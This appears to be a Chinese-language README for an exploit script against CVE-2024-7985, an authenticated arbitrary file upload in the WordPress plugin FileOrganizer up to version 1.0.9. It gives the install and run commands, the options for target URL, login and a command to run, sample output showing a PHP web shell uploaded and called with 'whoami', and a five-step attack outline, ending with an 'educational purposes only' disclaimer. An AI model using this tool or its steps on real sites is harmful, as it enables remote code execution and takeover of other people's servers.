FileOrganizer <= 1.0.9 - 经过身份验证的（Subscriber+）任意文件上传
CVE-2024-7985 - WordPress 插件 FileOrganizer <= 1.0.9 存在经过身份验证的任意文件上传漏洞，允许拥有 Subscriber+ 权限的攻击者远程上传并执行恶意文件。该漏洞源于 fileorganizer_ajax_handler 函数中缺少文件类型验证，从而导致远程代码执行（RCE）成为可能。
🚨 此漏洞允许攻击者在服务器上执行任意命令！ 🚨
requestsbeautifulsoup4安装依赖：
pip install requests beautifulsoup4
python CVE-2024-7985.py --url "http://target-site.com/wordpress" --username "admin" --password "admin" --cmd "whoami"
usage: CVE-2024-7985.py [-h] --url URL --username USERNAME --password PASSWORD [--cmd CMD]
FileOrganizer <= 1.0.9 - Authenticated (Subscriber+) Arbitrary File Upload by | Nxploit Khaled_alenazi
options:
-h, --help show this help message and exit
--url URL Target WordPress site URL
--username USERNAME WordPress Username
--password PASSWORD WordPress Password
--cmd CMD Command to execute in uploaded file
[+] Vulnerable version detected: 1.0.9
[+] Logged in successfully!
[+] Extracted nonce: 7b4a95872b
[+] File uploaded successfully!
[+] Access file at: http://target-site.com/wordpress/wp-content/uploads/fileorganizer/cmd.php?cmd=whoami
1️⃣ 版本检查 - 判断站点是否存在漏洞。
2️⃣ 身份验证 - 登录 WordPress。
3️⃣ Nonce 提取 - 获取安全令牌。
4️⃣ 文件上传 - 上传恶意 PHP 脚本。
5️⃣ 命令执行 - 执行用户指定的命令。
此脚本仅用于教育目的；作者对任何滥用或后果概不负责。 🚨